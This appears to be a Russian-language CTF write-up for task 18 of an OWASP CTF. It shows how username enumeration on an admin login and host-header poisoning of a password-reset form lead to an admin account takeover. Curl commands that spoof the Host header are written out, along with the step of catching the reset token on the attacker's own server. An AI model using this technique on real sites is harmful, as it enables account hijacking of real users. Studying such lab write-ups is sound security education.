На главной странице видим игру 2048 на javascript, на всякий случай проверяем исходный код но ничего кроме самой игры на странице нет.
dirb находит директорию /admin/
с логин формой. В начале формы есть строка Admin ctfCorp.com
.
Если попробовать комбинацию логин пароль admin@ctfcorp.com:password
получаем ошибку Wrong password
.
Если поменять логин на любой другой то ошибка будет User does not exist
.
Помимо формы для авторизации, так же есть форма для восстановления пароля http://18.owaspctf.gq/admin/recovery.php
.
Если передать правильный логин получаем сообщение: We sent you a recovery link like http://18.owaspctf.gq/admin/recovery.php?token=xxxxxx to your email
В ходе решения других заданий было замечено что 18.owaspctf.gq
является дефолтным виртуальным хостом у веб-сервера.
То есть если обратиться к несуществующему виртуальному хосту мы все равно попадаем на 18-ое задание.
$ dig +short a 18.owaspctf.gq
104.248.93.50
$ curl --silent -H 'Host: foobar' 'http://104.248.93.50/admin/' | grep ctf
<h1>Admin ctfCorp.com Log in</h1>
Попробуем изменить хедер Host при отправке POST запроса на сброс пароля:
$ curl --silent -H 'Host: foobar' 'http://104.248.93.50/admin/recovery.php' --data 'email=admin@ctfcorp.com&go=Recover' | grep 'foobar'
<p>We sent you a recovery link like http://foobar/admin/recovery.php?token=xxxxxx to your email</p><br> <p class="p-container">
Запускаем tcpdump
на своем сервере и повторяем процедуру заменив foobar на ip сервера. Видим попытку подключения на 80 порт.
Открываем 80 порт и опять повторяем запрос. Получаем запрос содержащий токен. Отправляем токен на сервер задания.
FLAG{I_hope_it_was_not_a_bruteforce}